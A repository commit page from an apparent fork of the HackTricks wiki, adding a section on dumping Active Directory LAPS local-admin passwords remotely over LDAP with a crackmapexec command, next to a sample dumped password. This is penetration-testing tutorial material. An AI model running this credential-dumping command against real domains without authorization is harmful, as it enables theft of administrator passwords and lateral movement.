coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Update laps.md

Browse Source 
fixed typo
This commit is contained in:
Nuno Abreu 2023-06-11 17:48:40 +01:00 committed by GitHub
parent 840b63af94
commit cd0c920c80
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
windows-hardening/active-directory-methodology/laps.md
View File

@ -99,6 +99,12 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Dumping LAPS Passwords With Crackmapexec**
If there is no access to a powershell you can abuse this privilege remotely through LDAP by using
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
This will dump all the passwords that the user can read, allowing you to get a better foothold with a different user.
## **LAPS Persistence**